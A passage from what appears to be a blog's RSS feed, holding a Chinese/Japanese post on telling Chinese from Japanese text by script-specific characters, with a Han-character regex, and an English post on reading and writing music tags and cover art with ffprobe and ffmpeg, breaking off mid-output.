ぁあぃいぅうぇえぉおかがきぎくぐけげこごさざしじすずせぜそぞただちぢっつづてでとどなにぬねのはばぱひびぴふぶぷへべぺほぼぽまみむめもゃやゅゆょよらりるれろゎわゐゑをんゔゕゖ゛゜ゝゞゟ゠ーー𛀁𛀂𛀃𛀄𛀅𛀆𛀇𛀈𛀉𛀊𛀋𛀌𛀍𛀎𛀏𛀐𛀑𛀒𛀓𛀔𛀕𛀖𛀗𛀘𛀙𛀚𛀛𛀜𛀝𛀞𛀟𛀠𛀡𛀢𛀣𛀤𛀥𛀦𛀧𛀨𛀩𛀪𛀫𛀬𛀭𛀮𛀯𛀰𛀱𛀲𛀳𛀴𛀵𛀶𛀷𛀸𛀹𛀺𛀻𛀼𛀽𛀾𛀿𛁀𛁁𛁂𛁃𛁄𛁅𛁆𛁇𛁈𛁉𛁊𛁋𛁌𛁍𛁎𛁏𛁐𛁑𛁒𛁓𛁔𛁕𛁖𛁗𛁘𛁙𛁚𛁛𛁜𛁝𛁞𛁟𛁠𛁡𛁢𛁣𛁤𛁥𛁦𛁧𛁨𛁩𛁪𛁫𛁬𛁭𛁮𛁯𛁰𛁱𛁲𛁳𛁴𛁵𛁶𛁷𛁸𛁹𛁺𛁻𛁼𛁽𛁾𛁿𛂀𛂁𛂂𛂃𛂄𛂅𛂆𛂇𛂈𛂉𛂊𛂋𛂌𛂍𛂎𛂏𛂐𛂑𛂒𛂓𛂔𛂕𛂖𛂗𛂘𛂙𛂚𛂛𛂜𛂝𛂞𛂟𛂠𛂡𛂢𛂣𛂤𛂥𛂦𛂧𛂨𛂩𛂪𛂫𛂬𛂭𛂮𛂯𛂰𛂱𛂲𛂳𛂴𛂵𛂶𛂷𛂸𛂹𛂺𛂻𛂼𛂽𛂾𛂿𛃀𛃁𛃂𛃃𛃄𛃅𛃆𛃇𛃈𛃉𛃊𛃋𛃌𛃍𛃎𛃏𛃐𛃑𛃒𛃓𛃔𛃕𛃖𛃗𛃘𛃙𛃚𛃛𛃜𛃝𛃞𛃟𛃠𛃡𛃢𛃣𛃤𛃥𛃦𛃧𛃨𛃩𛃪𛃫𛃬𛃭𛃮𛃯𛃰𛃱𛃲𛃳𛃴𛃵𛃶𛃷𛃸𛃹𛃺𛃻𛃼𛃽𛃾𛃿𛄀𛄁𛄂𛄃𛄄𛄅𛄆𛄇𛄈𛄉𛄊𛄋𛄌𛄍𛄎𛄏𛄐𛄑𛄒𛄓𛄔𛄕𛄖𛄗𛄘𛄙𛄚𛄛𛄜𛄝𛄞🈀〱〲〳〴〵゛゜゠ァアィイゥウェエォオカガキギクグケゲコゴサザシジスズセゼソゾタダチヂッツヅテデトドナニヌネノハバパヒビピフブプヘベペホボポマミムメモャヤュユョヨラリルレロヮワヰヱヲンヴヵヶヷヸヹヺ・ーヽヾヿㇰㇱㇲㇳㇴㇵㇶㇷㇸㇹㇺㇻㇼㇽㇾㇿ㋐㋑㋒㋓㋔㋕㋖㋗㋘㋙㋚㋛㋜㋝㋞㋟㋠㋡㋢㋣㋤㋥㋦㋧㋨㋩㋪㋫㋬㋭㋮㋯㋰㋱㋲㋳㋴㋵㋶㋷㋸㋹㋺㋻㋼㋽㋾・ヲァィゥェォャュョッーアイウエオカキクケコサシスセソタチツテトナニヌネノハヒフヘホマミムメモヤユヨラリルレロワン𛀀㌀㌁㌂㌃㌄㌅㌆㌇㌈㌉㌊㌋㌌㌍㌎㌏㌐㌑㌒㌓㌔㌕㌖㌗㌘㌙㌚㌛㌜㌝㌞㌟㌠㌡㌢㌣㌤㌥㌦㌧㌨㌩㌪㌫㌬㌭㌮㌯㌰㌱㌲㌳㌴㌵㌶㌷㌸㌹㌺㌻㌼㌽㌾㌿㍀㍁㍂㍃㍄㍅㍆㍇㍈㍉㍊㍋㍌㍍㍎㍏㍐㍑㍒㍓㍔㍕㍖㍗㍻㍼㍽㍾㍿増楽薬霊塡犠渓著雑祖猟槇祉栄畳福込帰朗鉱獣砕呉響碑捗僧繊粋瀬繁層厳隠変頬剰拠剤斎専琢廃匂巣転黒社舗蔵伝歩鋳餠愼験抜読猪廊郞曽仮駅譲欄酔桟済気斉囲択経乗満穀難錬嘆戻醸虜寛銭様歳毎奨艶帯侮挙逸署器両釈節墨挿従権憎嬢都倹豊戦庁謁卑歓駆観揺徴悪徳壌団暑営娯弾渇恵祝縁枠勤隣対漢謹検卽摂類視発緖壊拡粛掲涙穏総圏拝沢贈圧浄顔仏図陥歴亀壱梅眞煮闘髪円扱塩騒懐覚敏軽峠戸頼荘黙晩諸継蛍遅逓祥練喩応悩姫険齢撃聴覧痩値鉄禍塀続勉臭鶏辺縄悔絵郷捜懲者鬪海児実薫亜渚歯駄渋弐広姉巻剣証塁単顕価禎祐突穂暦払栃訳渉県労麺糸焼勲神舎縦賓髄丼暁桜滝脳稲勧鎭祈売
+ + + +

正規表現を使えばもっとコンパクトにすることができる。

+ + + +

これに似てる方法で、中国語の簡体字から独自な漢字を選別して簡体字の文字列を判断することができる。しかし、このプロジェクトでそう言った需要がない為、ここで割愛させていただきます。

+ + + +

P.S.:漢字を選別する正規表現

+ + + +
const hasHan = /[\u4E00-\u9FA5\u9FA6-\u9FEF\u3400-\u4DB5\u{20000}-\u{2A6D6}\u{2A700}-\u{2B734}\u{2B740}-\u{2B81D}\u{2B820}-\u{2CEA1}\u{2CEB0}-\u{2EBE0}\u2F00-\u2FD5\u2E80-\u2EF3\uF900-\uFAD9\u{2F800}-\u{2FA1D}\uE815-\uE86F\uE400-\uE5E8\uE600-\uE6CF\u31C0-\u31E3\u2FF0-\u2FFB\u3105-\u312F\u31A0-\u31BA\u3007]/u;
+

NLP を使わず簡単に中国語と日本語を仕分ける方法 appeared first on 1A23 Blog.

+]]>
+ + + + 15304
+ + 一种简单粗暴无需 NLP 的区分中文和日文文本的方法 + https://blog.1a23.com/2020/03/16/yizhong-jiandan-cubao-wuxu-nlp-de-qufen-zhongwen-he-riwen-wenben-de-fangfa/?utm_source=rss&utm_medium=rss&utm_campaign=yizhong-jiandan-cubao-wuxu-nlp-de-qufen-zhongwen-he-riwen-wenben-de-fangfa + + + Mon, 16 Mar 2020 04:43:00 +0000 + + + + + https://blog.1a23.com/?p=15302 + + 和博客里其他大多数的文章一样,这篇文章也是来自我平时开发个人项目时候的发现。在处理我的音乐库、歌词和其他数据的标音时,我需要一种简单的方式来区分中文文本和日文文本。因为我的曲库里面基本上只有中文、日文和其他拉丁字母构成的语种。而那些拉丁语种不需要太多复杂的处理就能够直接自然的排序,而中文和日文就没有这么简单,尤其是两种语言在对汉字的处理上有着截然不同的方法的时候。 正如标题里面所说的那样,这是一个简单粗暴的方法。这里面会有很多限制,判断效果也不会太精准,但是在大多数情况下还是勉强能用。当然,中日文本区分本身就存在着许多重合的情况,像「人生」这个词在中文里面和日文里面都是完全可以说得通的。如果这个词作为一个标题出现,仅靠这两个字也无法判断出它应该是什么语言。 使用这个方法的前提条件只有一个,那就是确定了这段文本只可能是中文或者日文,而且不会是两个语言的混合文本。太复杂的情况这个方法也没办法确定。 这个方法要说起来其实非常简单,总体来说就一句话: 找到日文独有的字符则判断文本为日文,找到中文独有的字符则判断文本为中文。 就这么简单。 众所周知,中文和日文里面都会出现一些另一个语言里面不会用到的字,比如: 平假名、片假名 日语的部分简化字(新字体)、国字 中文的部分简化字 第一种的平假名片假名非常容易找到,在 Unicode 里面都有现成的两个区块给这两种文字。主要任务是在第二类和第三类。经过一番寻找,我在一些转换中日汉字的转换的开源库里面找到了一些常用的日文专用字。 我把这些平假名、片假名、变体假名、带圈字符、半角片假名、日式的组合假名和汉字、还有日本的国字和简化字放在了一起组了一个列表。如果字符串里面出现了这列表里面的任何一个字,就可以确定这个字符串是日文了。 ぁあぃいぅうぇえぉおかがきぎくぐけげこごさざしじすずせぜそぞただちぢっつづてでとどなにぬねのはばぱひびぴふぶぷへべぺほぼぽまみむめもゃやゅゆょよらりるれろゎわゐゑをんゔゕゖ゛゜ゝゞゟ゠ーー𛀁𛀂𛀃𛀄𛀅𛀆𛀇𛀈𛀉𛀊𛀋𛀌𛀍𛀎𛀏𛀐𛀑𛀒𛀓𛀔𛀕𛀖𛀗𛀘𛀙𛀚𛀛𛀜𛀝𛀞𛀟𛀠𛀡𛀢𛀣𛀤𛀥𛀦𛀧𛀨𛀩𛀪𛀫𛀬𛀭𛀮𛀯𛀰𛀱𛀲𛀳𛀴𛀵𛀶𛀷𛀸𛀹𛀺𛀻𛀼𛀽𛀾𛀿𛁀𛁁𛁂𛁃𛁄𛁅𛁆𛁇𛁈𛁉𛁊𛁋𛁌𛁍𛁎𛁏𛁐𛁑𛁒𛁓𛁔𛁕𛁖𛁗𛁘𛁙𛁚𛁛𛁜𛁝𛁞𛁟𛁠𛁡𛁢𛁣𛁤𛁥𛁦𛁧𛁨𛁩𛁪𛁫𛁬𛁭𛁮𛁯𛁰𛁱𛁲𛁳𛁴𛁵𛁶𛁷𛁸𛁹𛁺𛁻𛁼𛁽𛁾𛁿𛂀𛂁𛂂𛂃𛂄𛂅𛂆𛂇𛂈𛂉𛂊𛂋𛂌𛂍𛂎𛂏𛂐𛂑𛂒𛂓𛂔𛂕𛂖𛂗𛂘𛂙𛂚𛂛𛂜𛂝𛂞𛂟𛂠𛂡𛂢𛂣𛂤𛂥𛂦𛂧𛂨𛂩𛂪𛂫𛂬𛂭𛂮𛂯𛂰𛂱𛂲𛂳𛂴𛂵𛂶𛂷𛂸𛂹𛂺𛂻𛂼𛂽𛂾𛂿𛃀𛃁𛃂𛃃𛃄𛃅𛃆𛃇𛃈𛃉𛃊𛃋𛃌𛃍𛃎𛃏𛃐𛃑𛃒𛃓𛃔𛃕𛃖𛃗𛃘𛃙𛃚𛃛𛃜𛃝𛃞𛃟𛃠𛃡𛃢𛃣𛃤𛃥𛃦𛃧𛃨𛃩𛃪𛃫𛃬𛃭𛃮𛃯𛃰𛃱𛃲𛃳𛃴𛃵𛃶𛃷𛃸𛃹𛃺𛃻𛃼𛃽𛃾𛃿𛄀𛄁𛄂𛄃𛄄𛄅𛄆𛄇𛄈𛄉𛄊𛄋𛄌𛄍𛄎𛄏𛄐𛄑𛄒𛄓𛄔𛄕𛄖𛄗𛄘𛄙𛄚𛄛𛄜𛄝𛄞🈀〱〲〳〴〵゛゜゠ァアィイゥウェエォオカガキギクグケゲコゴサザシジスズセゼソゾタダチヂッツヅテデトドナニヌネノハバパヒビピフブプヘベペホボポマミムメモャヤュユョヨラリルレロヮワヰヱヲンヴヵヶヷヸヹヺ・ーヽヾヿㇰㇱㇲㇳㇴㇵㇶㇷㇸㇹㇺㇻㇼㇽㇾㇿ㋐㋑㋒㋓㋔㋕㋖㋗㋘㋙㋚㋛㋜㋝㋞㋟㋠㋡㋢㋣㋤㋥㋦㋧㋨㋩㋪㋫㋬㋭㋮㋯㋰㋱㋲㋳㋴㋵㋶㋷㋸㋹㋺㋻㋼㋽㋾・ヲァィゥェォャュョッーアイウエオカキクケコサシスセソタチツテトナニヌネノハヒフヘホマミムメモヤユヨラリルレロワン𛀀㌀㌁㌂㌃㌄㌅㌆㌇㌈㌉㌊㌋㌌㌍㌎㌏㌐㌑㌒㌓㌔㌕㌖㌗㌘㌙㌚㌛㌜㌝㌞㌟㌠㌡㌢㌣㌤㌥㌦㌧㌨㌩㌪㌫㌬㌭㌮㌯㌰㌱㌲㌳㌴㌵㌶㌷㌸㌹㌺㌻㌼㌽㌾㌿㍀㍁㍂㍃㍄㍅㍆㍇㍈㍉㍊㍋㍌㍍㍎㍏㍐㍑㍒㍓㍔㍕㍖㍗㍻㍼㍽㍾㍿増楽薬霊塡犠渓著雑祖猟槇祉栄畳福込帰朗鉱獣砕呉響碑捗僧繊粋瀬繁層厳隠変頬剰拠剤斎専琢廃匂巣転黒社舗蔵伝歩鋳餠愼験抜読猪廊郞曽仮駅譲欄酔桟済気斉囲択経乗満穀難錬嘆戻醸虜寛銭様歳毎奨艶帯侮挙逸署器両釈節墨挿従権憎嬢都倹豊戦庁謁卑歓駆観揺徴悪徳壌団暑営娯弾渇恵祝縁枠勤隣対漢謹検卽摂類視発緖壊拡粛掲涙穏総圏拝沢贈圧浄顔仏図陥歴亀壱梅眞煮闘髪円扱塩騒懐覚敏軽峠戸頼荘黙晩諸継蛍遅逓祥練喩応悩姫険齢撃聴覧痩値鉄禍塀続勉臭鶏辺縄悔絵郷捜懲者鬪海児実薫亜渚歯駄渋弐広姉巻剣証塁単顕価禎祐突穂暦払栃訳渉県労麺糸焼勲神舎縦賓髄丼暁桜滝脳稲勧鎭祈売 上面的文本如果使用正则表达式来写的话还可以精简不少。 用类似的方法,我们也可以列出一套中文简体字里面造出来的新字符来断定文本是否为简体中文。不过由于我的项目里面没有类似的需求,这里就略过了。 附:判断汉字的正则表达式。

+

一种简单粗暴无需 NLP 的区分中文和日文文本的方法 appeared first on 1A23 Blog.

+]]>
+ 和博客里其他大多数的文章一样,这篇文章也是来自我平时开发个人项目时候的发现。在处理我的音乐库、歌词和其他数据的标音时,我需要一种简单的方式来区分中文文本和日文文本。因为我的曲库里面基本上只有中文、日文和其他拉丁字母构成的语种。而那些拉丁语种不需要太多复杂的处理就能够直接自然的排序,而中文和日文就没有这么简单,尤其是两种语言在对汉字的处理上有着截然不同的方法的时候。

+ + + + + + + +

正如标题里面所说的那样,这是一个简单粗暴的方法。这里面会有很多限制,判断效果也不会太精准,但是在大多数情况下还是勉强能用。当然,中日文本区分本身就存在着许多重合的情况,像「人生」这个词在中文里面和日文里面都是完全可以说得通的。如果这个词作为一个标题出现,仅靠这两个字也无法判断出它应该是什么语言。

+ + + +

使用这个方法的前提条件只有一个,那就是确定了这段文本只可能是中文或者日文,而且不会是两个语言的混合文本。太复杂的情况这个方法也没办法确定。

+ + + +

这个方法要说起来其实非常简单,总体来说就一句话:

+ + + +

找到日文独有的字符则判断文本为日文,找到中文独有的字符则判断文本为中文。

+ + + +

就这么简单。

+ + + +

众所周知,中文和日文里面都会出现一些另一个语言里面不会用到的字,比如:

+ + + +
  1. 平假名、片假名
  2. 日语的部分简化字(新字体)、国字
  3. 中文的部分简化字
+ + + +

第一种的平假名片假名非常容易找到,在 Unicode 里面都有现成的两个区块给这两种文字。主要任务是在第二类和第三类。经过一番寻找,我在一些转换中日汉字的转换的开源库里面找到了一些常用的日文专用字。

+ + + +

我把这些平假名、片假名、变体假名、带圈字符、半角片假名、日式的组合假名和汉字、还有日本的国字和简化字放在了一起组了一个列表。如果字符串里面出现了这列表里面的任何一个字,就可以确定这个字符串是日文了。

+ + + +
ぁあぃいぅうぇえぉおかがきぎくぐけげこごさざしじすずせぜそぞただちぢっつづてでとどなにぬねのはばぱひびぴふぶぷへべぺほぼぽまみむめもゃやゅゆょよらりるれろゎわゐゑをんゔゕゖ゛゜ゝゞゟ゠ーー𛀁𛀂𛀃𛀄𛀅𛀆𛀇𛀈𛀉𛀊𛀋𛀌𛀍𛀎𛀏𛀐𛀑𛀒𛀓𛀔𛀕𛀖𛀗𛀘𛀙𛀚𛀛𛀜𛀝𛀞𛀟𛀠𛀡𛀢𛀣𛀤𛀥𛀦𛀧𛀨𛀩𛀪𛀫𛀬𛀭𛀮𛀯𛀰𛀱𛀲𛀳𛀴𛀵𛀶𛀷𛀸𛀹𛀺𛀻𛀼𛀽𛀾𛀿𛁀𛁁𛁂𛁃𛁄𛁅𛁆𛁇𛁈𛁉𛁊𛁋𛁌𛁍𛁎𛁏𛁐𛁑𛁒𛁓𛁔𛁕𛁖𛁗𛁘𛁙𛁚𛁛𛁜𛁝𛁞𛁟𛁠𛁡𛁢𛁣𛁤𛁥𛁦𛁧𛁨𛁩𛁪𛁫𛁬𛁭𛁮𛁯𛁰𛁱𛁲𛁳𛁴𛁵𛁶𛁷𛁸𛁹𛁺𛁻𛁼𛁽𛁾𛁿𛂀𛂁𛂂𛂃𛂄𛂅𛂆𛂇𛂈𛂉𛂊𛂋𛂌𛂍𛂎𛂏𛂐𛂑𛂒𛂓𛂔𛂕𛂖𛂗𛂘𛂙𛂚𛂛𛂜𛂝𛂞𛂟𛂠𛂡𛂢𛂣𛂤𛂥𛂦𛂧𛂨𛂩𛂪𛂫𛂬𛂭𛂮𛂯𛂰𛂱𛂲𛂳𛂴𛂵𛂶𛂷𛂸𛂹𛂺𛂻𛂼𛂽𛂾𛂿𛃀𛃁𛃂𛃃𛃄𛃅𛃆𛃇𛃈𛃉𛃊𛃋𛃌𛃍𛃎𛃏𛃐𛃑𛃒𛃓𛃔𛃕𛃖𛃗𛃘𛃙𛃚𛃛𛃜𛃝𛃞𛃟𛃠𛃡𛃢𛃣𛃤𛃥𛃦𛃧𛃨𛃩𛃪𛃫𛃬𛃭𛃮𛃯𛃰𛃱𛃲𛃳𛃴𛃵𛃶𛃷𛃸𛃹𛃺𛃻𛃼𛃽𛃾𛃿𛄀𛄁𛄂𛄃𛄄𛄅𛄆𛄇𛄈𛄉𛄊𛄋𛄌𛄍𛄎𛄏𛄐𛄑𛄒𛄓𛄔𛄕𛄖𛄗𛄘𛄙𛄚𛄛𛄜𛄝𛄞🈀〱〲〳〴〵゛゜゠ァアィイゥウェエォオカガキギクグケゲコゴサザシジスズセゼソゾタダチヂッツヅテデトドナニヌネノハバパヒビピフブプヘベペホボポマミムメモャヤュユョヨラリルレロヮワヰヱヲンヴヵヶヷヸヹヺ・ーヽヾヿㇰㇱㇲㇳㇴㇵㇶㇷㇸㇹㇺㇻㇼㇽㇾㇿ㋐㋑㋒㋓㋔㋕㋖㋗㋘㋙㋚㋛㋜㋝㋞㋟㋠㋡㋢㋣㋤㋥㋦㋧㋨㋩㋪㋫㋬㋭㋮㋯㋰㋱㋲㋳㋴㋵㋶㋷㋸㋹㋺㋻㋼㋽㋾・ヲァィゥェォャュョッーアイウエオカキクケコサシスセソタチツテトナニヌネノハヒフヘホマミムメモヤユヨラリルレロワン𛀀㌀㌁㌂㌃㌄㌅㌆㌇㌈㌉㌊㌋㌌㌍㌎㌏㌐㌑㌒㌓㌔㌕㌖㌗㌘㌙㌚㌛㌜㌝㌞㌟㌠㌡㌢㌣㌤㌥㌦㌧㌨㌩㌪㌫㌬㌭㌮㌯㌰㌱㌲㌳㌴㌵㌶㌷㌸㌹㌺㌻㌼㌽㌾㌿㍀㍁㍂㍃㍄㍅㍆㍇㍈㍉㍊㍋㍌㍍㍎㍏㍐㍑㍒㍓㍔㍕㍖㍗㍻㍼㍽㍾㍿増楽薬霊塡犠渓著雑祖猟槇祉栄畳福込帰朗鉱獣砕呉響碑捗僧繊粋瀬繁層厳隠変頬剰拠剤斎専琢廃匂巣転黒社舗蔵伝歩鋳餠愼験抜読猪廊郞曽仮駅譲欄酔桟済気斉囲択経乗満穀難錬嘆戻醸虜寛銭様歳毎奨艶帯侮挙逸署器両釈節墨挿従権憎嬢都倹豊戦庁謁卑歓駆観揺徴悪徳壌団暑営娯弾渇恵祝縁枠勤隣対漢謹検卽摂類視発緖壊拡粛掲涙穏総圏拝沢贈圧浄顔仏図陥歴亀壱梅眞煮闘髪円扱塩騒懐覚敏軽峠戸頼荘黙晩諸継蛍遅逓祥練喩応悩姫険齢撃聴覧痩値鉄禍塀続勉臭鶏辺縄悔絵郷捜懲者鬪海児実薫亜渚歯駄渋弐広姉巻剣証塁単顕価禎祐突穂暦払栃訳渉県労麺糸焼勲神舎縦賓髄丼暁桜滝脳稲勧鎭祈売
+ + + +

上面的文本如果使用正则表达式来写的话还可以精简不少。

+ + + +

用类似的方法,我们也可以列出一套中文简体字里面造出来的新字符来断定文本是否为简体中文。不过由于我的项目里面没有类似的需求,这里就略过了。

+ + + +

附:判断汉字的正则表达式。

+ + + +
const hasHan = /[\u4E00-\u9FA5\u9FA6-\u9FEF\u3400-\u4DB5\u{20000}-\u{2A6D6}\u{2A700}-\u{2B734}\u{2B740}-\u{2B81D}\u{2B820}-\u{2CEA1}\u{2CEB0}-\u{2EBE0}\u2F00-\u2FD5\u2E80-\u2EF3\uF900-\uFAD9\u{2F800}-\u{2FA1D}\uE815-\uE86F\uE400-\uE5E8\uE600-\uE6CF\u31C0-\u31E3\u2FF0-\u2FFB\u3105-\u312F\u31A0-\u31BA\u3007]/u;
+

一种简单粗暴无需 NLP 的区分中文和日文文本的方法 appeared first on 1A23 Blog.

+]]>
+ + + + 15302
+ + Read and Write Tags of Music Files with FFmpeg + https://blog.1a23.com/2020/03/16/read-and-write-tags-of-music-files-with-ffmpeg/?utm_source=rss&utm_medium=rss&utm_campaign=read-and-write-tags-of-music-files-with-ffmpeg + + + Sun, 15 Mar 2020 16:45:47 +0000 + + + + + + https://blog.1a23.com/?p=15300 + + In both my previous and recent projects, I have been working with tags (metadata) of music files. One of the reason being I am rather particular about having a nicely organised library with all tag data aligned to the same format. Until recently while I was seeking for a solution to read and write tags […]

+

Read and Write Tags of Music Files with FFmpeg appeared first on 1A23 Blog.

+]]>
+ In both my previous and recent projects, I have been working with tags (metadata) of music files. One of the reason being I am rather particular about having a nicely organised library with all tag data aligned to the same format. Until recently while I was seeking for a solution to read and write tags of (potentially) all music formatsI only have MP3, FLAC, AIFF and M4A in my library, so that’s kinda all for me., and I encountered FFmpeg, the Swiss Army Knife of media processing.

+ + + +

FFmpeg has always been my go-to solution for processing media programmatically or in batch, and I have recently found the way to write into the tags of music files using it. The way of doing so might be a little verbose as everything have to fit into the command line interface with other components.

+ + + + + + + +

Read tags

+ + + +

To read tags from a music file, we actually need to use ffprobe instead of ffmpeg. ffprobe in this case can produce an output in JSON which is more program-friendly.

+ + + +
ffprobe -show_format -print_format json music.mp3
+{
+    "format": {
+        "filename": "music.mp3",
+        "nb_streams": 1,
+        "nb_programs": 0,
+        "format_name": "mp3",
+        "format_long_name": "MP2/3 (MPEG audio layer 2/3)",
+        "start_time": "0.000000",
+        "duration": "290.160000",
+        "size": "4643133",
+        "bit_rate": "128015",
+        "probe_score": 51,
+        "tags": {
+            "title": "初音ミクの消失 (2018 Remake)",
+            "artist": "cosMo@暴走P feat. 初音ミク",
+            "album": "初音ミクの消失 -Real and Repeat-",
+            "compilation": "1",
+            "encoded_by": "Max 0.9.1",
+            "title-sort": "はつねみくのしょうしつ (2018 Remake)",
+            "artist-sort": "cosMo@ぼうそうP feat. はつねみく",
+            "album-sort": "はつねみくのしょうしつ -Real and Repeat-",
+            "TDTG": "2014-11-03T15:38:58",
+            "encoder": "Lavf58.29.100"
+        }
+    }
+}
+
+ + + +

The option -show_format adds the section "format" to the output, which has the metadata of the file format as long as the tags. Omitting this option will result in an output with no useful data.

+ + + +

Besides JSON, ffprobe also produce output in CSV, flat key-value pairs, INI, and XML syntax. You can choose whichever format that fits your need better. See ffprobe documentations for more options.

+ + + +

Note that both ffmpeg and ffprobe prints version number, compile info of the program itself and metadata of the file to stderr. Make sure to get rid of it if your program consumes both stdout and stderr together by default.

+ + + +

Write tags

+ + + +

It is trickier to write tags than just reading them. In the logic of FFmpeg, everything is considered as a stream, some file comes as an input stream, some filters are applied, and then one output is produced. This is the same case for writing tags too. It could make the entire procedure a little more complex, since usually when you just want to make changes to tag data, you want to just overwrite the original file. But with the way FFmpeg is designed, it won’t allow you to do so. The best you can go around with this is to let FFmpeg to make a copy of the file, and delete the old one afterwards.

+ + + +

Options used in this command are as follows:

+ + + +
  • -i aiff.aiff: path to the of input file.
  • -map 0: map both audio and video of the 0th input file to the output file, i.e. to keep the media content unchanged.
  • -y: overwrite if the destination file exists. Note that you cannot write to your input file even with this option enabled, or you may corrupt the file entirely.
  • -codec copy: to keep the codec of the file unchanged, so as to prevent unnecessary re-encoding.
  • -write_id3v2 1: quite self-explanatory, only use this option if you want to write the tags as ID3v2. In cases like AIFF, FFmpeg cannot detect the correct tag type to use, so forcing ID3v2 could be sometimes useful.
  • -metadata "tag-name=tag value": this is where you write/overwrite tags.
  • aiffout.aiff: path to the output file.
+ + + +
ffmpeg -i aiff.aiff -map 0 -y -codec copy -write_id3v2 1 -metadata "artist-sort=emon feat sort" aiffout.aiff
+ffmpeg version 4.2.1 Copyright (c) 2000-2019 the FFmpeg developers
+  built with Apple clang version 11.0.0 (clang-1100.0.33.8)
+  configuration: --prefix=/usr/local/Cellar/ffmpeg/4.2.1_2 --enable-shared --enable-pthreads --enable-version3 --enable-avresample --cc=clang --host-cflags='-I/Library/Java/JavaVirtualMachines/adoptopenjdk-13.jdk/Contents/Home/include -I/Library/Java/JavaVirtualMachines/adoptopenjdk-13.jdk/Contents/Home/include/darwin -fno-stack-check' --host-ldflags= --enable-ffplay --enable-gnutls --enable-gpl --enable-libaom --enable-libbluray --enable-libmp3lame --enable-libopus --enable-librubberband --enable-libsnappy --enable-libtesseract --enable-libtheora --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libx264 --enable-libx265 --enable-libxvid --enable-lzma --enable-libfontconfig --enable-libfreetype --enable-frei0r --enable-libass --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-libopenjpeg --enable-librtmp --enable-libspeex --enable-libsoxr --enable-videotoolbox --disable-libjack --disable-indev=jack
+  libavutil      56. 31.100 / 56. 31.100
+  libavcodec     58. 54.100 / 58. 54.100
+  libavformat    58. 29.100 / 58. 29.100
+  libavdevice    58.  8.100 / 58.  8.100
+  libavfilter     7. 57.100 /  7. 57.100
+  libavresample   4.  0.  0 /  4.  0.  0
+  libswscale      5.  5.100 /  5.  5.100
+  libswresample   3.  5.100 /  3.  5.100
+  libpostproc    55.  5.100 / 55.  5.100
+Guessed Channel Layout for Input Stream #0.0 : stereo
+Input #0, aiff, from 'aiff.aiff':
+  Metadata:
+    title           : shake it!
+    artist          : emon feat. 初音ミク.鏡音リン.鏡音レン
+    album           : 「マジカルミライ 2014」OFFICIAL ALBUM
+    compilation     : 1
+    encoded_by      : Max 0.9.1
+    title-sort      : shake it!
+    creation_time   : 2014-11-03T15:38:58
+    TDTG            : 2014-11-03T15:38:58
+    album-sort      : 「まじかるみらい 2014」OFFICIAL ALBUM
+    artist-sort     : emon feat. はつねみく.かがみねりん.かがみねれん
+  Duration: 00:03:47.03, start: 0.000000, bitrate: 2822 kb/s
+    Stream #0:0: Audio: pcm_s32be, 44100 Hz, stereo, s32, 2822 kb/s
+Output #0, aiff, to 'aiffout.aiff':
+  Metadata:
+    title           : shake it!
+    artist          : emon feat. 初音ミク.鏡音リン.鏡音レン
+    album           : 「マジカルミライ 2014」OFFICIAL ALBUM
+    compilation     : 1
+    encoded_by      : Max 0.9.1
+    title-sort      : shake it!
+    album-sort      : 「まじかるみらい 2014」OFFICIAL ALBUM
+    TDTG            : 2014-11-03T15:38:58
+    artist-sort     : emon feat sort
+    encoder         : Lavf58.29.100
+    Stream #0:0: Audio: pcm_s32be (NONE / 0x454E4F4E), 44100 Hz, stereo, s32, 2822 kb/s
+Stream mapping:
+  Stream #0:0 -> #0:0 (copy)
+Press [q] to stop, [?] for help
+size=   78219kB time=00:03:47.02 bitrate=2822.5kbits/s speed=2.08e+03x
+video:0kB audio:78218kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: 0.000549%
+ 
+ + + +

In order to provide a uniform interface for writing metadata, FFmpeg has some custom aliases for common tag names that are different from what is actually written to the file. Examples like title, album, artist, and genre should be honored in most tag types. But some aliases might not always be mapped to the tag you would expect. Sort key tags of Vorbis Comments in FLAC is not mapped as those in ID3, and are considered as custom tags by FFmpeg. It is always better to check with ffprobe using an already properly tagged file to see if aliases are used. MultimediaWiki has provided a list of common aliases and the tags they mapped to in actual files.

+ + + +

To write a custom tag, just use the key name of your choice directly. FFmpeg can figure out the proper way to add them to your file, like using TXXX in ID3.

+ + + +

As mentioned previously, this command also produces a lot of debug info to stderr. In fact, all these output are by default printed to stderr, so you will only get a return code 0, and nothing from stdout.

+ + + +

Read cover art

+ + + +

In FFmpeg, a music file with a cover art embedded is considered as a 2 input streams — 1 audio stream and 1 single-frame video stream (as a picture). So, to extract the cover art out, what we need to do is similar to stripping off the audio track of a video.

+ + + +

Options used in this command are as follows:

+ + + +
  • -i mp3.mp3: path to the of input file.
  • -an: drop the audio stream.
  • -vcodec copy: to keep the codec of the video stream. (That should mean the image format I guess)
  • cover.png: path to the output file.
+ + + +
ffmpeg -i mp3.mp3 -an -vcodec copy cover.png
+ffmpeg version 4.2.1 Copyright (c) 2000-2019 the FFmpeg developers
+  built with Apple clang version 11.0.0 (clang-1100.0.33.8)
+  configuration: --prefix=/usr/local/Cellar/ffmpeg/4.2.1_2 --enable-shared --enable-pthreads --enable-version3 --enable-avresample --cc=clang --host-cflags='-I/Library/Java/JavaVirtualMachines/adoptopenjdk-13.jdk/Contents/Home/include -I/Library/Java/JavaVirtualMachines/adoptopenjdk-13.jdk/Contents/Home/include/darwin -fno-stack-check' --host-ldflags= --enable-ffplay --enable-gnutls --enable-gpl --enable-libaom --enable-libbluray --enable-libmp3lame --enable-libopus --enable-librubberband --enable-libsnappy --enable-libtesseract --enable-libtheora --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libx264 --enable-libx265 --enable-libxvid --enable-lzma --enable-libfontconfig --enable-libfreetype --enable-frei0r --enable-libass --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-libopenjpeg --enable-librtmp --enable-libspeex --enable-libsoxr --enable-videotoolbox --disable-libjack --disable-indev=jack
+  libavutil      56. 31.100 / 56. 31.100
+  libavcodec     58. 54.100 / 58. 54.100
+  libavformat    58. 29.100 / 58. 29.100
+  libavdevice    58.  8.100 / 58.  8.100
+  libavfilter     7. 57.100 /  7. 57.100
+  libavresample   4.  0.  0 /  4.  0.  0
+  libswscale      5.  5.100 /  5.  5.100
+  libswresample   3.  5.100 /  3.  5.100
+  libpostproc    55.  5.100 / 55.  5.100
+Input #0, mp3, from 'mp3.mp3':
+  Metadata:
+    title           : Melody Line
